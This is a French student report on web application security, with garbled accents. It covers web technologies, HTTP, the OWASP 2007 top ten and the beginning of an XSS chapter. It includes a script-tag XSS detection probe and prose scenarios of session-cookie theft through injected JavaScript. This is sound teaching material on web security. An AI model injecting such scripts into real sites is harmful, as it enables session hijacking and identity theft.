Vous êtes sur la page 1sur 75

Scurit des applications web

FEDAOUI Sofiane IKHLEF Toufik LAGA Saida MANSOURI Nabil

2009/2010

Projet
Scurit des applications web

Ralis par : FEDAOUI Sofiane IKHLEF Toufik LAGA Saida MANSOURI Nabil

Encadr par : - Mr. MICHAEL QUISQUATER

Promotion : 2009/2010

Table des matires Table des matires

Introduction gnrale............................................................................................. 1 Partie I Chapitre 1 : Le web et la scurit1 1. Introduction : ..................................................................................................... 2 2. Les gnralits sur le Web ................................................................................ 2 2.1. Internet........................................................................................................ 2 2.2. Web (World Wide Web) ............................................................................ 2 2.3. Web 2.0 ..................................................................................................... 2 2.4. Site Web ..................................................................................................... 3 2.5. Application web. ........................................................................................ 3 3. Les technologies Web ...................................................................................... 4 3.1. Les langages ct client............................................................................. 4 3.2. Les langages ct serveur.......................................................................... 5 3.3. La technologie AJAX. .............................................................................. 6 3.4. Protocole HTTP & HTTPS ...................................................................... 7 3.4.1. HTTP (HyperText Transfer Protocol).......................................... 7 3.4.2. HTTPS (HyperText Transfer Protocol Secured) .......................... 9 4. Scurit des applications Web....................................................................... 10 5. Les principales failles : .................................................................................... 13 5.1. XSS (Cross-Sites Scripting): ................................................................... 15 5.2. Injection SQL : ......................................................................................... 19 5.3. Excution de Fichier Malicieux ............................................................... 23

Table des matires

5.4. Rfrence directe non scurise un objet .............................................. 24 5.5. CSRF (Falsification de requte inter site) ................................................ 25 5.6. Fuite dinformation et traitement derreurs incorrect .............................. 27 5.7. Violation de Gestion d'authentification et de Session.............................. 30 5.8. Stockage Cryptographique non Scuris ................................................... 31 5.9. Communications non scurises .............................................................. 31 5.10. Dfaillance dans la restriction des accs URL ....................................... 32 6. Conclusion ....................................................................................................... 34

Chapitre 2 : Mise en uvre une application web scurise 1. Introduction : ................................................................................................... 35 2. Etapes de la mise en uvre dune application web scuris .......................... 35 2.1. Formation et sensibilisation .................................................................... 35 2.2. Identification des besoins et apprciation des risques ............................. 36 2.3. Conception et implmentation.................................................................. 36 2.4. Vrification de la scurit des applications Web ..................................... 37 3. Conclusion ....................................................................................................... 42

Partie II Chapitre 3 : cration du site web 1. Introduction ..................................................................................................... 48 2. Objectif ............................................................................................................ 48 3. Ide du site....................................................................................................... 48

Table des matires

4. Conception du site ........................................................................................... 48 5. Ralisation du site ........................................................................................... 49 6. Conclusion ....................................................................................................... 50

Chapitre 4: les principales failles du site et leurs solutions 1. Introduction ..................................................................................................... 48 2. Les principales failles du site et leurs solutions : ............................................ 48 2.1. Injection SQL ........................................................................................... 48 2.2. Bypasser une arborescence ..................................................................... 49 2.3. Injection DOM ......................................................................................... 50 2.4. Bypasser les Roles ...52 2.5. 2.5. Mauvaise gestion de concurrence .....53 2.6. Exemple de XSS ..55 3. Conclusion :..................................................................................................... 55

Conclusion gnrale et perspectives ................................................................... 55 Bibliographie Annexes : La base de donnes du site

Liste des tableaux Liste des figures

Figure 1: Les composantes d'une application web. ..............................................................................3 Figure 3: MCD du site web ................................................................................................................49

Liste des tableaux

Tableau 1: La description des composantes d'une application web .....................................................3 Tableau 2: Les diffrentes mthodes de HTTP ....................................................................................8 Tableau 3: Les top ten de OWASP ....................................................................................................13

Introduction gnrale

Introduction gnrale Introduction gnrale Le dveloppement remarquable des technologies de linformation et de la tlcommunication, la tendance croissante de la quantit dinformation change dans les rseaux, le e-commerce, le ebanking, le vote lectronique, tous ces facteurs et dautre rendent le besoin en scurit plus important. La scurit des applications Web est critique car celles-ci sont gnralement publiquement accessibles sur Internet, et donc la moindre vulnrabilit pourra tre exploite par n'importe quel Hacker dans le monde. Au mme titre qu'une application de bureau ou qu'un systme

d'exploitation, une application Web est sujette un certain nombre de failles de scurit, dues des ngligences de programmation. Les dveloppeurs Web, presss par le temps et souvent peu sensibiliss au problme de la scurit, ne sont pas conscients des failles de scurit qu'ils peuvent laisser dans leur code. L'tude des principales vulnrabilits rencontres dans les applications Web montre que la plupart des attaques se font par simple manipulation d'URL ou en injectant des paramtres dans un formulaire pour, par exemple, contourner un mcanisme d'authentification. Ces attaques empruntent toutes le port TCP 80 et ne sont par consquent pas bloques par les firewalls IP conventionnels. Lobjectif de ce document consiste montrer les principales failles des applications web qui sont prsentes par lOWASP en mettant en uvre des attaques qui exploitent ces dernires, ces attaques sont prsentes en dtails avec des scnarios prsentant des cas rels. A chacune de ces attaques on donnera une solution envisageable, en crant un autre site web rsistant ces dernires. Le document est compos de deux grandes parties chacune contenant deux chapitres, la premire partie est un recueil thorique des informations ncessaires pour mieux comprendre le fonctionnement des applications web ainsi que les principales failles qui peuvent nuire ces dernires, dans la deuxime partie nous prsenterons rapidement la ralisation du site qui nest pas notre objectif et nous nous intresserons la prsentation de quelques attaques avec les solutions adaptes chacune delle.

Partie I Chapitre 1 : Le web et la scurit

Chapitre I 1. Introduction :

Le web et la scurit

Que ce soit lactivit en ligne dune banque, un magasin en ligne, le portail dun fournisseur, toutes les applications web sont accessibles, aussi bien leurs clients qu des utilisateurs malveillants, de manire permanente cause de la nature des services prsents sur Internet qui ne sarrte jamais. Grce une meilleure prise en compte de la scurit que par le pass de la part des entreprises, les interconnexions Internet sont de mieux en mieux scurises. En particulier, les applications Web mises en ligne par de plus en plus d'entreprises ne sont en rien protges par la prsence des dfrents outils de scurit.

2. Les gnralits sur le Web 2.1. Internet Internet est un rseau mondial dordinateurs. Il est compos dun grand nombre de rseaux internationaux, nationaux, rgionaux et locaux. Ces nombreux ordinateurs serveurs hbergent des services qui sont utiliss par des ordinateurs clients.

2.2. Web (World Wide Web) On appelle Web (ou toile), la toile virtuelle forme par diffrents documents lis entre eux par des liens. Cest une norme archive vivante compose dune myriade de sites web proposant des pages web contenant du texte mis en forme, des images, des sons, des vidos, etc. Le Web reprsente un des usages possibles offerts par le rseau Internet et constitue la principale faon de naviguer parmi des documents en ligne. [1] Le Web est un ensemble dinformations multimdia et hypertexte : [2] Lhypertexte permet (par un systme de liens) de naviguer facilement lintrieur dun mme document lectronique mais aussi dans dautres documents o quils soient situs. Le multimdia permet de mler texte, image couleur, son et mme vido sur une mme page.

2.3. Web 2.0 Le Web 2.0 est une volution du Web, utilisant des techniques nouvelles (Ajax, CSS2...), lui permettant de devenir une plate-forme informatique part-entire. Ainsi les applications Web 2.0 en ligne peuvent remplacer les logiciels traditionnels de bureautique. Ces nouvelles applications proposent autant de rapidit, dintuitivit, dinteractivit et dergonomie que la plupart des logiciels. [3]

Chapitre I 2.4. Site Web

Le web et la scurit

Une page web est un simple fichier texte crit dans un langage de description (appel HTML), permettant de dcrire la mise en page du document et dinclure des lments graphiques ou bien des liens vers dautres documents laide de balises. Les pages web sont gnralement organises autour dune page daccueil, laide des liens hypertextes. Cet ensemble cohrent de pages web est appel site web.

2.5. Application web. [4] Une application Web peut tre un logiciel accessible avec le protocole HTTP, par lintermdiaire dun navigateur Web. Cela peut aussi tre un logiciel accessible via tout autre protocole rseau. En fait, ce qui dfinit une application Web nest pas la technologie sur laquelle celle-ci repose, mais son utilisation et sa finalit. Le choix dune technologie doit se faire aprs valuation de lensemble du projet. Architecture dune application web Le schma suivant prsente les diffrentes composantes dune application web.

Figure 1: Les composantes d'une application web. [5]

Tableau 1: La description des composantes d'une application web Numro Rle 1 2 OS Serveur Serveur Web Exemple courant Linux, Windows Apache (Linux, Windows) IIS (NT), PWS(Win9x)

Chapitre I 3

Le web et la scurit Scripts excuts ct serveur. Ils PERL (Apache, IIS, PWS) peuvent l'tre par des modules du VBSCRIPT (IIS,PWS) serveur ou par des programmes PHP (Apache, IIS, PWS) externes au serveur (CGI) JAVA (Apache, IIS, PWS)

Base de donnes - Celle-ci peut tre Oracle (Linux, Windows) sur la mme machine que le MySQL (Linux, Windows)

programme qui l'exploite ou sur une Access (Windows) autre via Internet. 5 6 7 OS Client Navigateur Web SQL Server (Windows) Linux, Windows Netscape, Internet Explorer

Scripts excuts ct client au sein du VBscript (IE) navigateur. Ces scripts n'ont aucun Javascript (IE, Netscape) accs aux disques du poste client. Perlscript (IE) Applets JAVA

3. Les technologies Web Les technologies dployes dans les environnements Web ont fortement volu ces dernires annes. Divers langages sont utiliss pour la construction des pages web, mme si au final un navigateur lit essentiellement de lHTML ou du XHTML et du code CSS. Tous les langages de programmation appartiennent deux grandes familles :

3.1. Les langages ct client

HTML. [6] L'Hypertext Markup Language, gnralement abrg HTML, est le format de donnes conu

pour reprsenter les pages web. C'est un langage de balisage qui permet d'crire de l'hypertexte, do son nom. HTML permet aussi de structurer smantiquement et de mettre en forme le contenu des pages, dinclure des ressources multimdias dont des images, des formulaires de saisie et des lments programmables tels que des applets. Il est souvent utilis conjointement avec des langages de programmation (JavaScript) et des formats de prsentation (feuilles de style en cascade CSS).

CSS. [7] Les feuilles de style CSS, sont responsables de la dcoration (mise en style), comme par

exemple la taille des polices, leur couleur, la couleur des fonds, etc. Elles jouent un rle important 4

Chapitre I

Le web et la scurit

dans la disposition des diffrents blocs ou conteneurs (paragraphes, colonnes, etc.). Par ailleurs, elles permettent dadapter les contenus (mise en page et mise en style) en fonction du support utilis pour visualiser les pages (cran, imprimantes, tlphone mobile, priphriques de lecture).

JavaScript. [8] Ce langage permet dapporter essentiellement de linteractivit dans les pages. Ses avantages

sont multiples. Il permet entre autre de raliser des animations graphiques et de ragir aux clics et aux dplacements de la souris dune faon bien plus complte quavec le langage HTML.

Applet. [9] Petit programme Java insr dans une page HTML qui peut accompagner une page web

envoye un utilisateur. Les applets Java peuvent excuter des animations interactives, des calculs immdiats ou dautres tches simples sans que les utilisateurs nenvoient de demandes au serveur. Un applet ne peut tablir de connexion Internet quavec lordinateur partir duquel lapplet a t envoy.

3.2. Les langages ct serveur PHP. [6] (PHP: Hypertext Preprocessor), est un langage de scripts libre principalement utilis pour produire des pages Web dynamiques via un serveur HTTP, mais pouvant galement fonctionner comme n'importe quel langage interprt de faon locale, en excutant les programmes en ligne de commande. PHP est un langage impratif disposant depuis la version 5 de fonctionnalits compltes de modle objet. En raison de la richesse de sa bibliothque, on dsigne parfois PHP comme une plate-forme plus qu'un simple langage.

JAVA. [10] Langage de programmation dvelopp fonctionnant sur le principe " machine virtuelle ". Il peut

sadapter nimporte quel ordinateur. Les programmes java peuvent tre appels depuis des documents HTML ou de manire autonome. Lorsqu ils sexcutent partir dune page web, on les appelle Applets java. Sinon, Servlets, si ils sexcutent partir dun serveur web.

Les servlets. [11] Cest des applications Java ct serveur. Ils grent dynamiquement les donnes. Ils reoivent

des requtes HTTP et retournent une rponse HTTP. Ils peuvent tre utiliss pour crer des sites 5

Chapitre I

Le web et la scurit

Web dynamiques. Ecrits en Java, les servlets sont indpendants de la plate-forme et du serveur Web o ils s'excutent. Les servlets peuvent aussi tre utiliss pour ajouter des fonctionnalits ct serveur. Ils s'excutent dans un conteneur de servlets, qui fait le lien entre les servlets et le serveur Web. Ils sont chargs automatiquement au dmarrage du serveur ou lors de la premire connexion du client, ils restent ensuite en mmoire (ils sont actifs) et grent les demandes grce au mcanisme des threads. A l'inverse, un langage de script (exemple PHP) cre un nouveau processus chaque requte HTTP, son excution est donc plus lourde pour le processeur et prend plus de place en mmoire.

JSP. [12] Une JSP - Java Server Page - sapparente une page HTML simple dans laquelle du code Java a

t incorpor. La page est alors interprte par le serveur qui gnre un servlet correspondant la JSP. Les JSP sont analogues aux pages PHP, la seule diffrence prs que les JSP sont compile une fois pour toute par le serveur alors que les pages PHP sont interprtes chaque appel de la page.

ASP. [13] ASP (Active Server Pages) nest pas un langage de programmation, mais une technologie

permettant de crer des pages web actives. ASP a t dvelopp par Microsoft. La technologie ASP permet au server web dexcuter les scripts inclus dans le code HTML. Les

langages de script utiliss sont des langages de programmation caractriss par des instructions simples, largement indpendants des plates-formes et dpourvus dinstructions permettant daccder directement au niveau matriel (hardware) de lordinateur. Les langages de script disposent en outre dinstructions spcialises et trs complexes, conues spcialement pour rpondre la problmatique de leur utilisation. Les programmes crits dans ce langage nont pas besoin dtre traduits (compils), mais sont traits ligne par ligne de manire squentielle par un interprteur.

3.3. La technologie AJAX. Ajax est une nouvelle technique de dveloppement web. Elle signifie Asynchronous Javascript and XML1. Ses applications sont crites en JavaScript. Elles changent leurs donnes en asynchrone avec le serveur Web, via Soap ou un quelconque service Web. Puis, elles contrlent laffichage sur le navigateur en HTML dynamique.[14]

Chapitre I Cest une combinaison de plusieurs technologies logicielles standard:

Le web et la scurit

La prsentation base sur XHTML pour le code des pages et CSS pour le style. L'affichage dynamique utilisant DOM (Document Object Model) pour accder aux lments de la page. La rcupration des donnes par XMLHttpRequest en mode asynchrone. Le langage JavaScript pour faire fonctionner l'ensemble.

Les avantages dAJAX Ajax permet de modifier localement le contenue de la page Web, donc il rend linterface beaucoup plus ractive. Ajax permet doptimiser la bande passante du serveur. En effet, dans une page Web classique, pour aller dune tape une autre pendant la navigation, on doit charger une autre page Web. Par contre, avec la technologie Ajax, on charge seulement la diffrence entre ces deux pages. Ce qui permet de rduire les donnes changes entre le serveur et le client.

3.4. Les Protocoles HTTP & HTTPS

3.4.1. HTTP (HyperText Transfer Protocol) Le Hypertext Transfer Protocol, plus connu sous l'abrviation HTTP, littralement le protocole de transfert hypertexte , est un protocole de communication client-serveur dvelopp pour le World Wide Web. Le protocole HTTP peut fonctionner sur n'importe quelle connexion fiable, dans les faits on utilise le protocole TCP comme couche de transport. Un serveur HTTP utilise alors par dfaut le port 80. Les clients HTTP les plus connus sont les navigateurs web permettant un utilisateur d'accder un serveur contenant les donnes. Ces clients se connectent des serveurs HTTP tels qu'Apache HTTP Server, Internet Information Services (IIS) ou le serveur web Zeus.

Communication entre navigateur et le serveur La communication entre le navigateur et le serveur se fait en deux temps, le navigateur effectue

une requte http et le serveur traite la requte puis envoie une rponse http

Chapitre I Protocoles TCP/IP Envoi des Requte ttes HTT P Envoi des en-ttes HTTP Client (navigateur) Requte http rponse de Serveur Web Dcode en-

Le web et la scurit

Localisation fichier

du

Cration des ttes Formatage

endes

donnes Communication entre navigateur et le serveur.

Une requte HTTP est un ensemble de lignes envoy au serveur par le navigateur, elle comprend : Une ligne de requte : c'est une ligne qui comprend trois lments devant tre spars par un espace : La mthode L'URL La version du protocole utilis par le client (gnralement HTTP/1.0)

Les champs d'en-tte de la requte : il s'agit d'un ensemble de lignes facultatives permettant de donner des informations supplmentaires sur la requte et/ou le client (Navigateur, systme d'exploitation, ...).

Le corps de la requte : c'est un ensemble de lignes optionnelles devant tre spares des lignes prcdentes par une ligne vide et permettant par exemple un envoi de donnes par une commande POST lors de l'envoi de donnes au serveur par un formulaire.

Dans le protocole HTTP, une mthode est une Commande spcifiant un type de requte, c'est--dire qu'elle demande au serveur d'effectuer une action. En gnral l'action concerne une ressource identifie par l'URL qui suit le nom de la mthode. Tableau 2: Les diffrentes mthodes de HTTP Commande GET HEAD POST PUT DELETE Description Requte de la ressource situe l'URL spcifie Requte de l'en-tte de la ressource situe l'URL spcifie Envoi de donnes au programme situ l'URL spcifie Envoi de donnes l'URL spcifie Suppression de la ressource situe l'URL spcifie 8

Chapitre I Rponse http

Le web et la scurit

Une rponse HTTP est un ensemble de lignes envoyes au navigateur par le serveur, elle comprend : Une ligne de statut: c'est une ligne prcisant la version du protocole utilis et l'tat du traitement de la requte l'aide d'un code et d'un texte explicatif. La ligne comprend trois lments devant tre spars par un espace : La version du protocole utilis Le code de statut La signification du code

Les champs d'en-tte de la rponse: il s'agit d'un ensemble de lignes facultatives permettant de donner des informations supplmentaires sur la rponse et/ou le serveur. Le corps de la rponse: il contient le document demand.

Les cookies Un cookie (aussi appel tmoin) est dfini par le protocole de communication HTTP comme tant une suite d'informations envoye par un serveur HTTP un client HTTP, que ce dernier retourne lors de chaque interrogation du mme serveur http. Un cookie peut tre utilis comme authentification, une session et pour stocker une information spcifique sur lutilisateur.

Le problme majeur des cookies relve des informations qu'ils contiennent. En effet, lorsqu'un utilisateur se connecte un site personnalisable, celui-ci va lui poser quelques questions afin de dresser son profil, puis stocker ces donnes dans un cookie. Selon le site, la manire de laquelle l'information est stocke peut s'avrer nuisible l'utilisateur.

3.4.2. HTTPS (HyperText Transfer Protocol Secured) HTTPS (Secure http, ce qui signifie Protocole http scuris) est un procd de scurisation des transactions http reposant sur une amlioration du protocole http. Il permet de fournir une scurisation des changes lors de transactions de commerce lectronique en cryptant les messages afin de garantir aux clients la confidentialit de leur numro de carte bancaire ou de toute autre information personnelle. HTTP SSL HTTPS

Chapitre I

Le web et la scurit

Les principaux avantages que peut procurer HTTPS par rapport HTTP sont les suivants : Cryptage des donnes. Intgrit des donnes. Confidentialit des donnes. Garantie davoir un hte rcepteur de confiance.

Le seul inconvnient rel est lobligation de chiffrer lintgralit des donnes de la page Web. Quand on dit que la quasi totalit des navigateurs supportent ce protocole, en faite ici, on parle de support du protocole SSL. Gnralement signal par un petit cadenas ( navigateur, les adresses commencent toujours par https:// HTTPS repose et bnficie de la solidit du protocole SSL. Mais qu'est-ce que SSL? SSL SSL abrg de Secure Sockets Layers est un standard permettant de scuriser des transactions qui a t dvelopp par Netscape en collaboration avec des socits tel quel Bank of America. Le principe repose sur un procd cryptographique par clefs publique de type asymtrique qui procure une plus grande scurit. Contrairement SSL qui travaille au niveau de la couche de transport, HTTPS procure une scurit base sur des messages au-dessus du protocole HTTP, en marquant individuellement les documents HTML l'aide de certificats. Alors que SSL est indpendant de l'application utilise et chiffre l'intgralit de la communication. ) dans la barre d'tat du

4. Scurit des applications Web Tous les programmes informatiques conus pour recevoir et traiter des informations provenant dutilisateurs, en particulier d'internautes, doivent tre suffisamment robustes pour parer aux dysfonctionnements causs par la multitude dutilisateurs potentiels. Les demandes varies, inoffensives ou malveillantes, envoyes intentionnellement ou non, vers l'application web peuvent causer des dysfonctionnements potentiels de l'application en fonction de la manire dont ils ont t reus et traits au sein de lapplication.

La majorit du piratage se produit maintenant au niveau des applications. Elles peuvent transporter virtuellement toutes les donnes utiles sur le port 80 et le pare-feu ne peut les arrter Par Alain Mercier.

10

Chapitre I

Le web et la scurit

Certains sondages raliss aux tats-Unis suggrent que plus de 60 % des clients envisagent de ne plus faire affaires avec une entreprise qui perd leurs donnes personnelles suite une attaque informatique. Les responsabilits des organisations face la scurit de l'information numrique sont croissantes. Divers types d'audits existent pour connatre la conformit d'une organisation face ses obligations. En plus, d'une analyse des risques entourant la mise en place d'une prestation lectronique de service, un audit de scurit technique devrait tre effectu. Cet audit permet de mettre l'preuve une application Web. Mieux vaut prvenir que gurir surtout que l'on ne semble pas avoir deux chances selon la statistique. Il est possible de rsumer ce qui rend les applications Web vulnrables par les quelques points suivants: Grande disponibilit et accs omniprsents aux applications Web Conception sans un maximum de considrations de scurit Confiance accorde aux autres composants de l'architecture (ex.: pare-feu) Multitude de langages de programmation

Les principaux types de vulnrabilits qui sont observes lors des audits techniques des applications Web tournent autour des points suivants: Erreurs de configuration : paramtres de scurit par dfaut, extensions Frontpage, tlchargement de fichiers temporaires, etc. Vulnrabilits connues : systme d'exploitation, serveur Web et d'application, composants de tiers, etc. Navigation force : accder directement une page sans suivre le chemin prescrit (ex.: outrepasser l'authentification) Manipulation de champs cachs dans un formulaire (ex.: changer le prix d'un item) Cross site scripting: insertion de script dans une page envoye par une autre source. Commandes furtives: arguments d'un formulaire pass directement des appels de commande (ex.: commande Perl, Injection SQL) Altration des paramtres : transfrs dans une requte sur un URL donn (Injection SQL) Portes drobes (backdoor) : peut tre introduite soit par le dveloppeur du logiciel, soit par un tiers. La personne connaissant la porte drobe peut l'utiliser pour surveiller les activits du logiciel, voire en prendre le contrle 11

Chapitre I

Le web et la scurit

Dbordement de tampons: un envoi de plus de caractres dans un champs que l'application ne l'anticipe Contenu suspect peru lors de la navigation travers les pages Web du site : ex.: mot de passe dans le code source de l'application Manipulation des fichiers tmoins (cookie) : pour usurper l'identit d'un utilisateur Notion de vie prive dans l'application : connexion non scuritaire, information sensible envoye en clair ex.: numro de carte de crdit Notion de qualit de l'application (comportement de l'application lors de la rception de caractres inattendus ex.: ajout d'une lettre une chane numrique).

Divers outils existent pour effectuer ce travail. Il serait trop fastudieux d'effectuer ce travail manuellement surtout si l'application possde une certaine taille. Certains outils sont plus automatiss que d'autres et certains sont du domaine du logiciel libre (ex.: Paros) et d'autres commerciaux (ex.: AppScan). Ce qui est important c'est d'obtenir une bonne couverture de l'application. Gnralement, lorsqu'un problme est trouv, il se rpte plusieurs endroits dans l'application car des types de vulnrabilits sont recherches ici et non une vulnrabilit prcise. La scurit est une facette de la qualit et, tout comme la qualit, la scurit doit tre incluse dans l'application et non teste et ajoute la fin du cycle de dveloppement. Cependant pour ce faire il faut qu'une intgration des proccupations de scurit dans le cycle de dveloppement se fasse et peu de mthodologie de dveloppement intgre la scurit tout au long de leur cycle. De plus, une tude du Gartner Group en 2005, portant sur 1000 entreprises, dmontrait qu' peine 5 % intgrent les proccupations de scurit lors du cycle de dveloppement, 50 % investiguent la question et 45 % n'y font rien pour le moment. Un manquement la confidentialit peu ternir grandement l'image d'une l'organisation qui uvre dans le commerce lectronique. Plusieurs pistes de solution existent pour scuriser une application mais elles demandent toutes un investissement en ressources. Il est possible de citer la scurit en priphrie de l'application (pare-feu, dtection d'intrusion, etc.), l'intgration des proccupations de scurit lors du cycle de dvelopplement, l'analyse du code source, la scurisation de l'application (les sessions, le stokage des donnes, les communications, etc.), un pare-feu d'application, etc.

12

Chapitre I 5. Les principales failles :

Le web et la scurit

L'OWASP (Open Web Application Security Project) est un projet Open Source. Il runit des experts bnvoles autour d'un objectif commun : duquer les professionnels du web en matire de scurit. Le groupe vient pour cela de publier la liste des dix failles les plus courantes sur le web. Elles sont pour la plupart connues depuis trs longtemps mais, trangement, de nombreux projets web en sont encore victimes aujourd'hui. L'objectif avou de l'OWASP est de donner une arme aux entreprises lorsqu'elles commandent un dveloppement web : elles peuvent dsormais inclure dans le contrat avec leur prestataire cette liste de failles stupides viter. Toutes sont parfaitement parables, pour peu que l'on se donne la peine de les connatre. Voici les dix erreurs-type dnonces par l'OWASP 2007: Tableau 3: Les top ten de OWASP Attaque Dfinition Les failles XSS se produisent chaque fois qu'une application A1 - Cross Site Scripting prend des donnes crites par l'utilisateur et les envoie un (XSS) browser web sans avoir au pralable valid ou cod ce contenu. XSS permet des attaquants d'excuter du script dans le navigateur de la victime afin de dtourner des sessions utilisateur, dfigurer des sites web, potentiellement introduire des vers, etc. Les failles d'injection, en particulier l'injection SQL, sont A2 - Failles d'injection communes dans les applications web. L'injection se produit quand des donnes crites par l'utilisateur sont envoyes un interprteur en tant qu'lment faisant partie d'une commande ou d'une requte. Les donnes hostiles de l'attaquant dupent l'interprteur afin de l'amener excuter des commandes fortuites ou changer des donnes. Un code vulnrable l'inclusion de fichier distance (RFI A3 - Excution de Fichier Remote File Inclusion) permet des attaquants d'inclure du code et Malicieux des donnes hostiles, ayant pour rsultat des attaques

dvastatrices, telle la compromission totale d'un serveur. Les attaques par excution de fichier malveillant affectent PHP, XML et toute structure qui accepte des noms de fichiers ou des fichiers des utilisateurs. Une rfrence directe un objet se produit quand un dveloppeur 13

Chapitre I A4- Rfrence directe non scurise un Objet

Le web et la scurit expose une rfrence un objet d'excution interne, tel qu'un fichier, un dossier, un enregistrement de base de donnes, ou une clef, comme paramtre d'URL ou de formulaire. Les attaquants peuvent manipuler ces rfrences pour avoir accs d'autres objets sans autorisation. Une attaque CSRF (Cross Site Request Forgery) force le

A5- Falsification de requte inter site (CSRF)

navigateur d'une victime authentifie envoyer une demande prauthentifie une application web vulnrable, qui force alors le navigateur de la victime d'excuter une action hostile l'avantage de l'attaquant. CSRF peut tre aussi puissant que l'application web qu'il attaque Les applications peuvent involontairement divulguer des

A6- Fuite d'information et Traitement d'erreur Incorrect

informations sur leur configuration, fonctionnements internes, ou violer la vie prive travers toute une varit de problmes applicatifs. Les attaquants utilisent cette faiblesse pour subtiliser des donnes sensibles ou effectuer des attaques plus srieuses. Les droits d'accs aux comptes et les jetons de session sont

A7- Violation de gestion d'authentification et de Session

souvent incorrectement protgs. Les attaquants compromettent les mots de passe, les clefs, ou les jetons d'authentification identits pour s'approprier les identits d'autres utilisateurs. Les applications web utilisent rarement correctement les fonctions

A8-Stockage Cryptographique non Scuris

cryptographiques pour protger les donnes et les droits d'accs. Les attaquants utilisent des donnes faiblement protges pour perptrer un vol d'identit et d'autres crimes, tels que la fraude la carte de crdit. La plupart du temps, les applications ne chiffrent pas le trafic

A9- Communications non Scurises

rseau quand il est ncessaire de protger des communications sensibles. Frquemment, une application protge seulement la fonctionnalit

A10- Manque de Restriction dAccs URL

sensible en empchant l'affichage des liens ou des URLs aux utilisateurs non autoriss. Les attaquants peuvent utiliser cette faiblesse pour accder et effectuer des oprations non autorises en accdant ces URL directement.

14

Chapitre I 5.1. XSS (Cross-Sites Scripting): 5.1.1. Prsentation :

Le web et la scurit

Les attaques de type Cross-Site Scripting sont un type de problme de l'injection, dans lesquels les scripts malveillants sont injects dans des sites web. Les attaques Cross-site scripting (XSS) se produisent quand un pirate utilise une application web pour envoyer du code malveillant, gnralement sous la forme d'un script ct client, un utilisateur final diffrent. Les Failles qui permettent ces attaques de russir sont trs rpandues et peuvent se produire sur n'importe quelle application Web qui utilise des entres, sans validation ou encodage.

La dtection de la prsence d'une faille XSS peut se faire par exemple en entrant un script JavaScript dans un champ de formulaire ou dans une URL : <script type="text/javascript">alert('bonjour')</script> 1. Les attaques Cross-Site Scripting (XSS) se produisent lorsque: Des donnes entre dans une application Web via une source non fiable, le plus souvent une requte Web. 2. Les donnes sont incluses dans un contenu dynamique qui est envoy un utilisateur sur le Web sans tre valide pour dtecter si elles ont du code malveillant. Le contenu malveillant envoy au navigateur Web prend souvent la forme d'un segment de code JavaScript, mais peut aussi inclure de code HTML, Flash ou de tout autre type de code que le navigateur peut excuter. La varit des attaques bases sur XSS est presque illimite, mais elles comprennent gnralement la transmission de donnes prives comme les cookies ou d'autres informations de session l'attaquant, la rorientation de la victime vers un site Web contrl par l'attaquant, ou accomplir d'autres activits malveillantes au nom lutilisateur du site vulnrable.

5.1.2. Les risques d'une attaque XSS : Affichage de contenu semblant provenir d'un site (ex: publicit, attaque l'image de marque) Redirection vers un autre site Pour confondre l'utilisateur Pour profiler l'utilisateur Pour attaquer ce site. Ex: par dpassement de pile

Vol d'informations (sessions, les informations entres sur la page infecte, autres informations stockes dans les cookies)

15

Chapitre I

Le web et la scurit

Dans certains cas, le risque peut tre mitig. En effet, il est souvent possible que de s'attaquer soit mme (dans le cas des pages de confirmation par exemple).

5.1.3. Exemples de scnarios XSS : 1er exemple : les applications Web-mail : 1. Un utilisateur malfaisant envoie un courriel la victime ; 2. Le courriel contient un script JavaScript ; 3. La victime se connecte l'application Web-mail en entrant son code utilisateur et mot de passe ; 4. La connexion est scurise par SSL ; 5. Le serveur envoie un cookie au client contenant un identificateur unique de session ; 6. La session a une dure de 20 minutes, pendant ce temps, le cookie est utilis pour authentifier l'utilisateur ; 7. L'utilisateur lit le message malfaisant ; 8. Malheureusement, l'application affiche le message tel quel, sans le valider ; 9. Comme JavaScript est ncessaire pour utiliser le web-mail, le JavaScript s'excute ; 10. Le JavaScript accde au cookie contenant la session, et redirige le client vers un autre serveur en envoyant celui-ci la session en paramtre ; 11. Le serveur malfaisant reoit la session de la victime et redirige le client vers la page prcdente ; 12. La victime remarque que l'interface utilisateur du web-mail est disparue pendant deux secondes, mais ne s'inquite pas ; 13. L'utilisateur malfaisant a maintenant quelques minutes pour accder au compte web-mail et effectuer un vol d'identit ; 2eme exemple : messages d'erreur : 1. Une application Web contient une page d'erreur 404 du type : La page "/pagerronnee" n'existe pas ; 2. L'application Web rcrit lURL en entre ; 3. L'application Web ne valide pas correctement l'entre et la raffiche directement ; 4. L'utilisateur malfaisant envoie un courriel la victime contenant un lien vers la page d'erreur ; 5. Les paramtres de ce url sont camoufls et contiennent un script excutable ; 6. La victime suit le lien et est ensuite redirige vers un autre site ; 16

Chapitre I 7. La victime pense tre sur le site A, mais est en fait sur le site B ;

Le web et la scurit

8. Le serveur B peut alors collecter de l'information sur la victime qui pense tre sur le site A.

5.1.4. Les types de failles XSS: Il y a trois types de failles XSS :

Premier type: Ce type de faille XSS, qui est dit bas sur DOM ou local , est connu de longue date. Dans ce cas de figure, le problme est dans le script d'une page ct client. Par exemple, si un fragment de JavaScript accde un paramtre d'une requte d'URL, et utilise cette information pour crire du HTML dans sa propre page, et que cette information n'est pas encode sous forme d'entits HTML, alors il y a probablement un trou XSS, puis les donnes crites seront rinterprtes par le navigateur comme du HTML contenant ventuellement un script ajout.

Deuxime type: Ce type de trou de scurit, qu'on peut qualifier de non permanent , est de loin le plus commun. Il apparat lorsque des donnes fournies par un client web sont utilises telles quelles par les scripts du serveur pour produire une page de rsultats. Si les donnes non vrifies sont incluses dans la page de rsultat sans encodage des entits HTML, elles pourront tre utilises pour injecter du code dans la page dynamique reue par le navigateur client. Un exemple classique dans les moteurs de recherche des sites : si l'on recherche une chane qui contient des caractres spciaux HTML, souvent la chane recherche sera affiche sur la page de rsultat pour rappeler ce qui tait cherch, ou dans une bote de texte pour la rdition de cette chane. Si la chane affiche n'est pas encode, il y a une faille XSS. premire vue, ce n'est pas un problme grave parce que l'utilisateur peut seulement injecter du code dans ses propres pages. Cependant, avec un peu d'ingnierie sociale, un attaquant peut convaincre un utilisateur de suivre une URL pige qui injecte du code dans la page de rsultat, ce qui donne l'attaquant tout contrle sur le contenu de cette page.

Troisime type: Ce type de vulnrabilit, aussi appel faille permanente ou du second ordre, permet des attaques puissantes. Elle se produit quand les donnes fournies par un utilisateur sont stockes sur

17

Chapitre I

Le web et la scurit

un serveur (dans une base de donnes, des fichiers, ou autre), et ensuite raffiches sans que les caractres spciaux HTML aient t encods.

